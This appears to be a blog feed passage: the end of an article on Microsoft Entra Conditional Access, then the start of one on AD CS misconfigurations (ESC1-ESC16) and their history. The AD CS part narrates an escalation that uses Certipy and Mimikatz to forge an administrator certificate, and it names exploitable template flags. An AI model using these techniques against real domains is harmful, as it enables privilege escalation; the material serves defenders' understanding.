In 2023. The public preview of CA filters for workload identities opened on 26 October 2022 [@vansurksum-2022-workload-ca]; the Microsoft Entra Workload Identities standalone product reached GA in late November 2022, and the Conditional Access feature itself reached general availability later in 2023 [@ms-workload-identity-ca]. Any article asserting a 2025 GA date for workload-identity CA is incorrect.

No. Every sign-in produces a Sign-in log entry; ID Protection emits a `riskDetection` only when at least one detector fires for that sign-in [@ms-graph-riskdetection]. Most sign-ins produce no `riskDetection`. Detection engineers querying for risk should join the Sign-in log with the riskDetections log and treat unjoined rows as &quot;no risk flagged at the moment.&quot;

No Microsoft primary source publicly describes the production model architecture or names a per-sign-in feature-vector size. What is published is the detection taxonomy (about two dozen named `riskEventType` values [@ms-id-protection-risks][@ms-graph-riskdetection]), the timing split (real-time / near-real-time / offline [@ms-risk-detection-types]), and the three-tier risk output. The &quot;transformer with 80+ signals&quot; framing is folk knowledge with no Microsoft primary source behind it. The article reframes it as &quot;ML-based with detailed architecture publicly undisclosed.&quot;

Not on its own. A standard MFA grant does not defeat a kit like Evilginx, which proxies both the password and the MFA challenge in real time. The defence is to require the *phishing-resistant Authentication Strength* in CA: FIDO2 with hardware attestation, Windows Hello for Business, or multifactor certificate-based authentication [@ms-auth-strengths]. The cryptographic origin-binding in WebAuthn-class credentials defeats AitM by construction. But the defence only works *when the grant is applied*. A CA policy that demands phishing-resistant for admin roles but not for users will block AitM against admins and not against users.
&lt;h2&gt;12. Two planes, one boundary&lt;/h2&gt;
&lt;p&gt;Replay Alice&apos;s Tuesday.&lt;/p&gt;
&lt;p&gt;Identity Protection&apos;s signal plane scored her 09:02 sign-in. The score was below the medium-risk threshold. Conditional Access&apos;s policy plane evaluated four matching policies. Two demanded MFA; her cached refresh token already satisfied that grant from yesterday. One demanded a compliant device; Intune had marked her laptop compliant overnight. None demanded the block grant. The token issuer issued a CAE-aware bearer token with a 28-hour lifetime. Exchange Online accepted the token. Outlook&apos;s data path opened. Bytes returned to Alice.&lt;/p&gt;
&lt;p&gt;If, twelve minutes later, an attacker tries to sign in with Alice&apos;s credentials from an anonymizing proxy, ID Protection will fire a detection. The detection will lift her user risk to high. CAE will deliver the high-user-risk event to Exchange. Exchange will issue a claims challenge on the next call from Alice&apos;s Outlook. Outlook will replay the challenge to Entra. Entra will re-run CA, see the elevated risk, demand step-up MFA, and either issue a fresh token (after Alice satisfies the step-up) or refuse.&lt;/p&gt;
&lt;p&gt;The modern identity boundary is not a wall. It is a conversation between planes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The boundary is a conversation between planes, not a wall.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The open frontier is real. Agent identities want a richer grant taxonomy than the human one provides. Cross-vendor CAEP wants production receivers outside Microsoft. Workload-identity policy wants grants that go beyond block. The break-glass paradox wants an answer that does not depend on operational discipline. None of these problems will resolve in 2026. They are the next frontier.&lt;/p&gt;
&lt;p&gt;What the reader should now be able to do: trace a sign-in through the signal, policy, token, and session planes; read a &lt;code&gt;conditionalAccessPolicy&lt;/code&gt; JSON and predict the evaluation outcome; identify which class of attack each grant defends against; and name, by reference to specific Microsoft Learn pages, what CA does &lt;em&gt;not&lt;/em&gt; defend against. The promise from Section 1 is delivered.&lt;/p&gt;

Today, 100 percent of consumer Microsoft accounts older than 60 days have multifactor authentication. -- Alex Weinert, Microsoft Identity, November 2023 [@weinert-2023-managed-policies]
&lt;p&gt;Who decided this token is good? The boundary itself decided, by composing the work of every plane named above.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;conditional-access-and-entra-id-protection&quot; keyTerms={[
  { term: &quot;Conditional Access (CA)&quot;, definition: &quot;Microsoft Entra&apos;s JSON-driven policy engine that matches users, apps, and conditions against grants such as block, MFA, and phishing-resistant Authentication Strength.&quot; },
  { term: &quot;Microsoft Entra ID Protection&quot;, definition: &quot;The ML-driven signal plane that emits riskDetection events tagged with riskEventType, riskLevel, riskState, and detectionTimingType.&quot; },
  { term: &quot;Continuous Access Evaluation (CAE)&quot;, definition: &quot;The event-driven session plane between Entra and CAE-aware resource APIs; uses HTTP 401 with WWW-Authenticate insufficient_claims to trigger mid-session re-evaluation.&quot; },
  { term: &quot;Sign-in risk vs user risk&quot;, definition: &quot;Sign-in risk is per-session probability the credential is being used by an attacker; user risk is per-user probability the account is compromised over recent history.&quot; },
  { term: &quot;Authentication Strength&quot;, definition: &quot;A named bundle of acceptable authentication methods that a CA grant can demand; the phishing-resistant strength defeats AitM by binding the credential to the relying-party origin via WebAuthn.&quot; },
  { term: &quot;Primary Refresh Token (PRT)&quot;, definition: &quot;A long-lived refresh token issued to a Windows session at user sign-in to Entra-joined or hybrid-joined devices, bound to the TPM where available, subject to CA at issuance.&quot; },
  { term: &quot;Claims challenge (insufficient_claims)&quot;, definition: &quot;HTTP 401 wire format CAE uses to demand a fresh token: WWW-Authenticate: Bearer error=&quot;insufficient_claims&quot;, claims=&quot;&quot;.&quot; },
  { term: &quot;Workload identity&quot;, definition: &quot;A non-human Entra identity (service principal, managed identity, or app registration&apos;s owned service principal); CA for workload identities applies only to single-tenant service principals with a block-only grant set.&quot; },
  { term: &quot;Break-glass account&quot;, definition: &quot;An emergency-access account excluded from Conditional Access, ideally FIDO2-bound, monitored by an unconditional sign-in alert.&quot; }
]} questions={[
  { q: &quot;What is the only API surface between Entra ID Protection (the signal plane) and Conditional Access (the policy plane), and why does the answer explain the maintainability of the architecture across a decade?&quot;, a: &quot;Two condition keys on the CA policy: signInRiskLevels and userRiskLevels. Because the contract is two strings, the risk model can be re-trained without policy rewrites, and policies can evolve without retraining the model.&quot; },
  { q: &quot;Why did Microsoft reject the &apos;shortened token lifetime&apos; approach to revocation, and what did they ship instead?&quot;, a: &quot;Shortened token lifetimes degraded user experience and reliability without eliminating risks (Microsoft&apos;s documented &apos;blunt object&apos; framing). CAE lengthens tokens (up to 28 hours) and adds an event-driven side channel that fires HTTP 401 with insufficient_claims when a critical event occurs.&quot; },
  { q: &quot;Name the documented critical events that fire a CAE claims challenge, and the documented latency ceiling.&quot;, a: &quot;Five critical events: account disabled or deleted, password change or reset, MFA enabled by an admin, admin token revocation, and high user risk detected by ID Protection. A parallel pathway propagates network-location and CA policy changes on the same channel. Latency is up to 15 minutes for non-IP events, instant for IP locations.&quot; },
  { q: &quot;Why does Conditional Access not gate on-prem Active Directory logons?&quot;, a: &quot;CA is a cloud control plane. Kerberos and NTLM against on-prem domain controllers authenticate against the on-prem KDC and do not consult Entra. This is a documented scope limit, not a bug.&quot; },
  { q: &quot;What HRU result establishes a theoretical lower bound on what CA can guarantee, and what is the practical implication?&quot;, a: &quot;Harrison-Ruzzo-Ullman 1976 proves the safety question in the general access-matrix model is undecidable. Practically, no tool can certify that no sequence of policy edits will ever leak access to a sensitive resource; vendors rely on evaluation-time mediation rather than static proof.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>conditional-access</category><category>entra-id</category><category>identity-protection</category><category>continuous-access-evaluation</category><category>zero-trust</category><category>security</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Certified Pre-Owned: AD CS and Active Directory&apos;s Second Trust Root</title><link>https://paragmali.com/blog/certified-pre-owned-ad-cs-and-active-directorys-second-trust/</link><guid isPermaLink="true">https://paragmali.com/blog/certified-pre-owned-ad-cs-and-active-directorys-second-trust/</guid><description>AD CS ESC1-ESC16: how Microsoft shipped Certificate Services in 2000, what SpecterOps named in 2021, and why the catalog grows faster than the patches.</description><pubDate>Mon, 25 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Microsoft Certificate Services shipped in Windows 2000 Server on February 17, 2000 and was renamed Active Directory Certificate Services in Windows Server 2008.** Its misconfigurations remained admin-tunable knobs without numbered names for twenty-one years. In June 2021, Will Schroeder and Lee Christensen at SpecterOps published *Certified Pre-Owned* and named eight of them ESC1 through ESC8. Through 2025 the community extended the catalog to ESC16 across IFCR, Compass Security, SpecterOps, TrustedSec, and independent researchers, each one abusing one of six primitives: the template, the issuing authority, the transport, the mapping, the authentication step, or the persistence substrate. Two ESCs have cleanly received CVE-class Microsoft patches (EKUwu / ESC15 -&amp;gt; CVE-2024-49019; ESC8 received KB5005413 *hardening guidance* rather than a CVE, and the adjacent Certifried CVE-2022-26923 patches the dNSHostName impersonation chain on the Machine template rather than a numbered ESC); the rest are administrative hardening matters per Microsoft&apos;s Windows Security Servicing Criteria. The KB5014754 strong-mapping rollout closed ESC9 and ESC10 but is bypassed by ESC16. The architectural property -- that every CA in NTAuth is a key parallel to krbtgt that can mint a Domain Admin authenticator -- is not closable by any patch. The operational playbook is to run Locksmith, BloodHound CE, MDI, PSPKIAudit, and Certipy in parallel, ingest CA logs, and prepare a Lane-3 CA rebuild before you need it.
&lt;h2&gt;1. Two Hours, No KRBTGT, No Touch on Tier Zero&lt;/h2&gt;
&lt;p&gt;The operator&apos;s stopwatch reads two hours and seven minutes when the SOCKS proxy lights up with a Ticket-Granting Ticket for the Domain Administrator account. No service was crashed. No LSASS process was touched. No Tier-Zero principal had its password reset. The &lt;a href=&quot;https://paragmali.com/blog/krbtgt-the-account-that-owns-active-directory/&quot; rel=&quot;noopener&quot;&gt;&lt;code&gt;krbtgt&lt;/code&gt; account hash&lt;/a&gt; from last quarter&apos;s rotation is still good. The certificate that minted the ticket was issued, signed, and logged by the enterprise&apos;s own Certificate Authority -- the one the IT director&apos;s slide deck calls &quot;internal PKI&quot; -- against a template the help desk uses to enroll Wi-Fi clients.&lt;/p&gt;
&lt;p&gt;Walk the chain backwards. The operator joined &lt;code&gt;Domain Users&lt;/code&gt; four hours ago via a phishing payload that never escalated past medium integrity. They ran one tool. Certipy &lt;code&gt;find&lt;/code&gt; enumerated every certificate template the foothold account was permitted to enroll in [@certipy-gh]. One of those templates -- call it &lt;code&gt;WiFi-Auth&lt;/code&gt; -- had three properties: low-privilege enrollment open to &lt;code&gt;Authenticated Users&lt;/code&gt;, the Client Authentication Extended Key Usage attached, and the &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; bit flipped on. Certipy &lt;code&gt;req&lt;/code&gt; produced a Certificate Signing Request that supplied &lt;code&gt;DOMAIN\Administrator&lt;/code&gt; as the Subject Alternative Name. The Enterprise CA, doing exactly what its template configured it to do, issued the certificate. Certipy &lt;code&gt;auth -pfx&lt;/code&gt; exchanged the certificate for a TGT via the Public Key Cryptography for Initial Authentication extension to Kerberos. Mimikatz &lt;code&gt;ptt&lt;/code&gt; loaded the TGT into the operator&apos;s session. Domain Admin.&lt;/p&gt;
&lt;p&gt;What did not fire is the part that frustrates the incident response team. There was no Windows Event 4624 for the Administrator account anywhere on the domain. Microsoft Defender for Identity raised no lateral-movement alert. No Pass-the-Ticket detection triggered, because the ticket was minted as fresh PKINIT authentication, not replayed. The only artifact in the entire chain was a single Event ID 4886 in the CA&apos;s issuance log -- the event the SOC&apos;s SIEM does not ingest, because the SOC&apos;s SIEM was built to follow &lt;code&gt;krbtgt&lt;/code&gt; and not to follow PKI.&lt;/p&gt;

RFC 4556&apos;s Public Key Cryptography for Initial Authentication in Kerberos. The protocol extension that lets a Kerberos client present a certificate to a Key Distribution Center and receive a Ticket-Granting Ticket in return. Authored by L. Zhu (Microsoft) and B. Tung (Aerospace), published in June 2006 [@rfc4556]. PKINIT is the authentication step that converts an issued certificate into a TGT, and therefore the step every ESC must cross to convert a misconfigured template into Domain Admin.
&lt;p&gt;The TGT in this scenario is produced by Active Directory&apos;s Key Distribution Center after it validates the certificate against its trusted certificate stores. The KDC does not call back to the CA -- it trusts any certificate signed by a CA published into the forest&apos;s &lt;code&gt;NTAuthCertificates&lt;/code&gt; container. That trust relationship is the load-bearing detail; we will return to it in section eight.&lt;/p&gt;
&lt;p&gt;So how is any of this possible? The operator&apos;s organization rotated krbtgt twice last quarter, runs a top-quartile EDR product, and bought Microsoft Defender for Identity with the AD CS sensor add-on. The simple answer is: rotating krbtgt closes one of the keys that can mint a Domain Admin authenticator in this forest. It does not close the others. The forest has more than one such key, and nobody told the IR plan.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Every domain whose CA can issue authentication certificates has two trust roots that can mint a Domain Admin authenticator, not one. The first is the &lt;code&gt;krbtgt&lt;/code&gt; account hash. The second is the private key of any Certificate Authority published into the forest&apos;s &lt;code&gt;NTAuthCertificates&lt;/code&gt; container. Rotating one does not touch the other. The catalog this article walks through is the community&apos;s attempt to enumerate the misconfigurations that turn the second trust root into a path low-privilege users can walk.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The vocabulary for this surface -- the named techniques, the numbered identifiers, the tool that enumerates them in eleven seconds -- did not exist until June 2021. The misconfigurations did. They had been shipping as customer-tunable knobs in Microsoft&apos;s identity stack since Windows Server 2003. If this surface has been available for twenty-one years, why did it take twenty-one years for someone to give the misconfigurations names?&lt;/p&gt;
&lt;h2&gt;2. Twenty-One Years of Unnamed Knobs&lt;/h2&gt;
&lt;p&gt;February 17, 2000. Windows 2000 Server reaches general availability. Microsoft Certificate Services -- the AD-integrated CA role -- ships as an optional server component on day one [@wikipedia-w2k]. The role is &lt;em&gt;not yet&lt;/em&gt; called Active Directory Certificate Services; that rename arrives with Windows Server 2008. The shipping defaults that the operator in section one just exploited were already buildable on the 2000 release.&lt;/p&gt;

You will see both anchor dates in the literature. Semperis&apos;s CVE-2022-26923 retrospective writes that &quot;In Windows Server 2008, Microsoft introduced AD CS&quot; [@semperis-cve]. The Microsoft Learn current overview describes AD CS as a &quot;Windows Server role for issuing and managing public key infrastructure (PKI) certificates&quot; [@msl-adcs-current] without distinguishing the ship date from the rename date. This article uses the dual anchor: the role *shipped* in 2000 as Microsoft Certificate Services, and was *renamed* Active Directory Certificate Services in 2008. The misconfigurations the ESC catalog enumerates were enabled by Windows Server 2003&apos;s V2 templates and have not been default-off since.
&lt;p&gt;The misconfigurations the catalog later attacks did not all arrive at once. Three Microsoft releases between 2000 and 2008 built the surface piece by piece.&lt;/p&gt;
&lt;p&gt;Windows Server 2003 (general availability April 24, 2003 [@wikipedia-ws2003]) shipped Version 2 (V2) certificate templates, user and computer autoenrollment over the V2 schema, and the AD-stored template store [@msl-ws2003-ca]. Most of the surface ESC1 and ESC4 later attack first appears in this release: &lt;code&gt;msPKI-Certificate-Name-Flag&lt;/code&gt;, the &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; bit, per-template DACLs editable in Active Directory Sites and Services, and the modifiable Extended Key Usage list. The Enrollee-Supplies-Subject flag, in particular, is a customer-tunable bit; it ships off by default on the stock templates but is a one-click enable in &lt;code&gt;certtmpl.msc&lt;/code&gt; [@msl-adcs-2012r2]. Microsoft&apos;s documentation warned against it on sensitive templates. It did not warn against it as a numbered identifier.&lt;/p&gt;
&lt;p&gt;Certificate templates have version numbers tied to the Active Directory schema. V1 templates ship with Windows 2000 and are non-modifiable from the GUI. V2 templates ship with Windows Server 2003 and are fully modifiable; they introduce the per-template DACL and the editable &lt;code&gt;msPKI-Certificate-Name-Flag&lt;/code&gt; properties the catalog attacks. V3 templates ship with Windows Server 2008 and add Suite B cryptography support. The catalog mostly attacks V2 templates; ESC15 specifically attacks the residual V1 templates that ship pre-installed and cannot be removed.&lt;/p&gt;
&lt;p&gt;Windows Server 2008 (general availability February 27, 2008 [@wikipedia-ws2008]) renamed the role to Active Directory Certificate Services and added new role services: Online Certificate Status Protocol Responder, Network Device Enrollment Service, Certificate Enrollment Web Service, and Certificate Enrollment Policy Web Service. These role services expanded the transport surface that ESC8 and ESC11 later attack. The Windows Server 2012 R2 documentation page &lt;code&gt;hh831740&lt;/code&gt; became the canonical reference SpecterOps later linked from the 2021 paper [@msl-adcs-2012r2].&lt;/p&gt;
&lt;p&gt;Between 2008 and 2021 Microsoft published hardening guidance for AD CS in several places -- Test Lab Guides, PKI design pages, role-service deployment docs [@msl-pki-design]. The guidance covered template ACLs, manager approval, least-privilege enrollment, and the Enrollee-Supplies-Subject bit. It did not assign numbered identifiers to specific dangerous combinations. It did not appear in MSRC&apos;s vulnerability pipeline. It did not get a Common Vulnerabilities and Exposures registration. The configurations were &lt;em&gt;documented but unnamed&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In 2019, two seeds for the named class appeared. Géraud de Drouas at the French ANSSI published a brief GitHub note that the Active Directory &lt;code&gt;Public-Information&lt;/code&gt; property set includes &lt;code&gt;altSecurityIdentities&lt;/code&gt;, which lets an attacker with that permission map their own certificate onto a privileged user [@dedrouas-altsec]. The note ends with a striking line: &quot;This issue has been responsibly disclosed to MSRC and received a &apos;won&apos;t fix&apos; response.&quot; The same year Microsoft began documenting the &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT&lt;/code&gt; extension in certificate-related KBs, though without making it default-on. The substrate for what would become ESC9, ESC10, and ESC14 was already in place; nobody had named it yet.&lt;/p&gt;
&lt;p&gt;Twenty-one years from the role&apos;s ship date, then. Twenty-one years of admin-tunable knobs. No numbered identifiers, no patch cadence, no scanner enumeration, no MSRC pipeline. Microsoft documented every one of these settings individually, often well; what was missing was the &lt;em&gt;catalog&lt;/em&gt;. Hardening guidance without numbered identifiers produces no defensive prioritization in real enterprises, because enterprise security programs prioritize against catalogs, not against documentation pages [@bollinger-ekuwu]. So what happened in June 2021 that turned a documentation pattern into a catalog?&lt;/p&gt;

flowchart LR
    A[2000&lt;br /&gt;Microsoft Certificate Services&lt;br /&gt;ships in Windows 2000 Server] --&amp;gt; B[2003&lt;br /&gt;V2 templates&lt;br /&gt;and autoenrollment]
    B --&amp;gt; C[2008&lt;br /&gt;Role renamed&lt;br /&gt;Active Directory&lt;br /&gt;Certificate Services]
    C --&amp;gt; D[2019&lt;br /&gt;de Drouas notes&lt;br /&gt;altSecurityIdentities abuse]
    D --&amp;gt; E[June 2021&lt;br /&gt;SpecterOps catalog&lt;br /&gt;ESC1 through ESC8]
    E --&amp;gt; F[2021 to 2022&lt;br /&gt;KB5005413&lt;br /&gt;CVE-2022-26923&lt;br /&gt;KB5014754]
    F --&amp;gt; G[2022 to 2023&lt;br /&gt;ESC9 to ESC12&lt;br /&gt;from Lyak Heiniger Knobloch]
    G --&amp;gt; H[2024&lt;br /&gt;ESC13 to ESC15&lt;br /&gt;Knudsen and Bollinger&lt;br /&gt;CVE-2024-49019]
    H --&amp;gt; I[2025&lt;br /&gt;ESC16&lt;br /&gt;strong-mapping full enforcement]
&lt;h2&gt;3. Six Primitives Every ESC Abuses&lt;/h2&gt;
&lt;p&gt;Before opening the catalog, install the vocabulary. Every ESC -- without exception -- abuses one of six primitives: the template, the issuing authority, the enrollment transport, the certificate mapping, the authentication bridge, and the persistence substrate. Once you have these six names in your head, the sixteen ESCs compose into a small grid.&lt;/p&gt;
&lt;h3&gt;The Template&lt;/h3&gt;
&lt;p&gt;A certificate template is an Active Directory object stored in the &lt;code&gt;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration&lt;/code&gt; partition that tells an Enterprise CA what kind of certificate to issue and to whom. Templates carry their own DACL controlling who can enroll, who can write, and who can autoenroll. They carry a &lt;code&gt;msPKI-Certificate-Name-Flag&lt;/code&gt; attribute whose bits control how the Subject and Subject Alternative Name fields are populated. They carry an Extended Key Usage list that names what the certificate is permitted to do. And they carry a Manager Approval bit that gates whether issuance is automatic or whether a CA officer must approve each request [@msl-adcs-2012r2].&lt;/p&gt;

The Active Directory-stored object specifying who can request what kind of certificate from an Enterprise CA. Templates carry per-object DACLs (enrollment, autoenrollment, write), a `msPKI-Certificate-Name-Flag` controlling Subject and SAN behavior, an Extended Key Usage list, and a Manager Approval bit. V1 templates (Windows 2000) are non-modifiable; V2 templates (Windows Server 2003) are fully modifiable; V3 templates (Windows Server 2008) add Suite B cryptography.
&lt;p&gt;ESC1, ESC2, ESC3, ESC4, and ESC15 all attack the template. They differ only in which template property is misconfigured. (ESC9 also begins on a template flag, &lt;code&gt;CT_FLAG_NO_SECURITY_EXTENSION&lt;/code&gt;, but its effect lives in the mapping layer; we file it under mapping below, matching SpecterOps&apos;s own Certify taxonomy [@specterops-certify-docs-index].)&lt;/p&gt;
&lt;h3&gt;The Issuing Authority&lt;/h3&gt;
&lt;p&gt;An Enterprise CA is a Windows Server role service that signs certificate requests against published templates. To be trusted for authentication, the CA must be published into the forest&apos;s &lt;code&gt;NTAuthCertificates&lt;/code&gt; container. That container is the single list of CA certificates the Key Distribution Center trusts for PKINIT. The CA carries its own security descriptor controlling who can enroll, who can manage certificates, and who can manage the CA itself. It carries two registry flags that change its issuance behavior: &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt;, which permits requesters to specify arbitrary Subject Alternative Names, and &lt;code&gt;IF_ENFORCEENCRYPTICERTREQUEST&lt;/code&gt;, which controls whether RPC enrollment requires packet privacy [@compass-esc11]. The 2022 KB5014754 patch introduced &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT&lt;/code&gt;, a Microsoft-specific extension carrying the requester&apos;s Security Identifier; that extension is the load-bearing artifact of the strong-mapping enforcement track [@kb5014754].&lt;/p&gt;

The AD-integrated certificate authority role in AD CS. Publishes certificate templates into Active Directory, processes certificate requests against those templates, and signs issued certificates with its private key. To be trusted for Windows authentication, the CA&apos;s certificate must be present in the forest-wide `NTAuthCertificates` container.

The AD-published container `CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration` listing CA certificates trusted by the Key Distribution Center for client authentication. Any certificate signed by a CA in this container can, given a valid mapping, mint a Kerberos Ticket-Granting Ticket. Publishing a CA into NTAuth is the moment that CA&apos;s private key becomes a trust root parallel to krbtgt.
&lt;p&gt;ESC5, ESC6, ESC7, and ESC16 attack the issuing authority itself -- its DACL, its registry flags, its extension policy. (ESC11&apos;s RPC packet-privacy gap is a CA-side configuration, but its abuse is an NTLM relay; we group it with ESC8 under transport, matching the §5 diagram.)&lt;/p&gt;
&lt;h3&gt;The Enrollment Transport&lt;/h3&gt;
&lt;p&gt;A certificate is requested over a network protocol. The default transport is DCOM/MS-WCCE -- the Windows Client Certificate Enrollment protocol, an RPC-based interface that ships enabled on every Enterprise CA [@ms-icpr-spec]. Additional transports ship as separate role services: HTTP Web Enrollment (IIS-based, with NTLM auth by default), the Certificate Enrollment Web Service (web service, supports basic and Kerberos), the Network Device Enrollment Service (the SCEP gateway), and the Certificate Enrollment Policy Web Service. Each transport is a network attack surface for relay primitives that route a coerced NTLM authentication into a certificate request.&lt;/p&gt;
&lt;p&gt;ESC8 attacks the HTTP Web Enrollment transport. ESC11 attacks the RPC transport. Both are &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;NTLM-relay attacks&lt;/a&gt;; they differ only in which transport the relayed authentication targets.&lt;/p&gt;
&lt;p&gt;The CA&apos;s security model distinguishes two rights that look similar but differ in scope. &lt;em&gt;Issue and Manage Certificates&lt;/em&gt; permits the holder to approve pending requests, revoke issued certificates, and read the request store. &lt;em&gt;Manage CA&lt;/em&gt; permits the holder to edit the CA&apos;s own configuration -- including its registry-controlled extension policy and its DACL. ESC7 attacks the latter. The escalation chain that follows ESC7 typically pivots to ESC4 (edit a template) or to issuing a certificate directly via a CA officer&apos;s request-approval right.&lt;/p&gt;
&lt;h3&gt;The Certificate Mapping&lt;/h3&gt;
&lt;p&gt;When a CA issues an authentication certificate, the certificate identifies a principal -- a user or a computer. The Key Distribution Center has to decide which Active Directory principal that certificate represents. Two mappings exist. &lt;em&gt;Implicit mapping&lt;/em&gt; reads the Subject Alternative Name (or the Subject, on older templates) and looks up the principal by User Principal Name. &lt;em&gt;Explicit mapping&lt;/em&gt; reads the AD principal&apos;s own &lt;code&gt;altSecurityIdentities&lt;/code&gt; attribute, which holds one or more X.509 issuer/serial expressions [@dedrouas-altsec]. The May 2022 KB5014754 patch redefined which mappings the KDC accepts: explicit mappings using &lt;code&gt;X509IssuerSerialNumber&lt;/code&gt;, &lt;code&gt;X509SKI&lt;/code&gt;, or &lt;code&gt;X509SHA1PublicKey&lt;/code&gt; are &lt;em&gt;strong&lt;/em&gt;; everything else is &lt;em&gt;weak&lt;/em&gt; and will be rejected once Full Enforcement is active [@kb5014754].&lt;/p&gt;

OID 1.3.6.1.4.1.311.25.2. The Microsoft certificate extension introduced by KB5014754 that embeds the SID of the requesting Active Directory principal directly into the issued certificate. When present, the KDC matches the certificate against the principal whose SID is embedded, defeating SAN-supply attacks like ESC1. The extension is the load-bearing mechanism of strong mapping enforcement.

Per KB5014754, explicit `altSecurityIdentities` entries using the `X509IssuerSerialNumber`, `X509SKI`, or `X509SHA1PublicKey` formats are *strong*. All other formats -- including implicit UPN and SAN matching -- are *weak* and rejected once Full Enforcement mode is active (February 11, 2025 default; legacy-mapping registry override removed September 9, 2025) [@kb5014754]. The strong-mapping track was the single largest Microsoft mitigation of the ESC era.
&lt;p&gt;ESC9, ESC10, ESC13, and ESC14 all attack the mapping. They abuse the gap between what a certificate asserts and which AD principal the KDC binds it to.&lt;/p&gt;
&lt;h3&gt;The Authentication Step&lt;/h3&gt;
&lt;p&gt;This component is the part of Windows that turns a certificate into an authenticator. For &lt;a href=&quot;https://paragmali.com/blog/kerberos-in-windows-the-other-half-of-ntlmless/&quot; rel=&quot;noopener&quot;&gt;Kerberos&lt;/a&gt;, the protocol is PKINIT (RFC 4556 [@rfc4556]): client presents a cert, KDC validates the cert and the mapping, KDC issues a TGT. For TLS-based services -- LDAPS, RDP with smart card, IIS with client cert -- the protocol is Schannel. For the legacy smart-card pipeline, the path is the combination of the Smart Card Resource Manager and PKINIT.&lt;/p&gt;
&lt;p&gt;No ESC attacks this step directly. Every ESC must &lt;em&gt;cross&lt;/em&gt; it to convert a misconfigured template, ACL, or mapping into a usable authenticator. The authentication step is the choke point; it is also the point Microsoft has reshaped most heavily with KB5014754.&lt;/p&gt;
&lt;h3&gt;The Persistence Substrate&lt;/h3&gt;
&lt;p&gt;An issued certificate is not a transient credential. It is a signed authenticator with a configurable validity period (one year is common, ten years is permitted). The certificate authenticates the embedded principal as long as the certificate is valid and not revoked. That property is what the SpecterOps paper&apos;s &lt;code&gt;DPERSIST&lt;/code&gt; and &lt;code&gt;THEFT&lt;/code&gt; classes attack [@cpo-blog]. UnPAC-the-Hash recovers the NTLM hash from a PKINIT-issued TGT, giving the attacker a password-equivalent credential they did not previously have. The Golden Certificate attack steals the CA&apos;s own private key, granting forever-issuance against the entire forest.&lt;/p&gt;
&lt;p&gt;This article scopes those attacks to a sidebar; the body walks the ESC1 to ESC16 escalation catalog. But every ESC ends in the persistence substrate: the certificate the attacker walks out with is the receipt that survives password rotation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A &lt;em&gt;primitive&lt;/em&gt; is a Microsoft-shipped knob, flag, ACL, or protocol that, when misconfigured, becomes part of an escalation. An &lt;em&gt;exploitation chain&lt;/em&gt; is the specific sequence of operator actions that turns one or more misconfigured primitives into a Domain Admin authenticator. ESCs are exploitation chains, not primitives. ESC1, for example, abuses the &lt;em&gt;template&lt;/em&gt; primitive&apos;s &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; bit, combined with the &lt;em&gt;bridge&lt;/em&gt; primitive (PKINIT), to produce the authenticator. The catalog enumerates chains; the six categories above enumerate the substrate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now that the vocabulary is in place, sixteen named attacks compose neatly onto a 6 by 16 grid. Here is the moment they did.&lt;/p&gt;

flowchart TD
    T[Template&lt;br /&gt;per-template DACL&lt;br /&gt;Name-Flag bits&lt;br /&gt;EKU list&lt;br /&gt;Manager Approval]
    A[Issuing Authority&lt;br /&gt;NTAuth membership&lt;br /&gt;CA security descriptor&lt;br /&gt;EDITF flags&lt;br /&gt;extension policy]
    X[Enrollment Transport&lt;br /&gt;RPC/MS-WCCE&lt;br /&gt;HTTP Web Enrollment&lt;br /&gt;CES/CEP&lt;br /&gt;NDES/SCEP]
    M[Certificate Mapping&lt;br /&gt;implicit UPN/SAN&lt;br /&gt;explicit altSecurityIdentities&lt;br /&gt;strong vs weak&lt;br /&gt;SID extension]
    B[Authentication Bridge&lt;br /&gt;PKINIT for Kerberos&lt;br /&gt;Schannel for TLS&lt;br /&gt;smart-card pipeline]
    P[Persistence Substrate&lt;br /&gt;validity period&lt;br /&gt;UnPAC-the-Hash&lt;br /&gt;Golden Certificate&lt;br /&gt;CRL bypass]
    T --&amp;gt; A
    A --&amp;gt; X
    X --&amp;gt; B
    A --&amp;gt; M
    M --&amp;gt; B
    B --&amp;gt; P
&lt;h2&gt;4. Certified Pre-Owned&lt;/h2&gt;
&lt;p&gt;Will Schroeder pushes the SpecterOps Medium post live on June 17, 2021. (A revision tagged &lt;code&gt;[EDIT 06/22/21]&lt;/code&gt; follows the next week; the literature settles on &quot;June 2021&quot; as the canonical date [@cpo-blog].) The whitepaper PDF drops in the same window and is rehosted on the SpecterOps domain the following year [@cpo-whitepaper]. Seven weeks later, on August 5, Schroeder and Christensen present &lt;em&gt;Certified Pre-Owned: Abusing Active Directory Certificate Services&lt;/em&gt; at Black Hat USA 2021. Three GhostPack tools ship to GitHub on schedule: PSPKIAudit for defense [@pspkiaudit-gh], Certify for offense [@certify-gh], and ForgeCert for Golden Certificate work.&lt;/p&gt;
&lt;p&gt;The paper names eight escalation paths and three persistence and theft prefixes:&lt;/p&gt;
&lt;ul&gt;
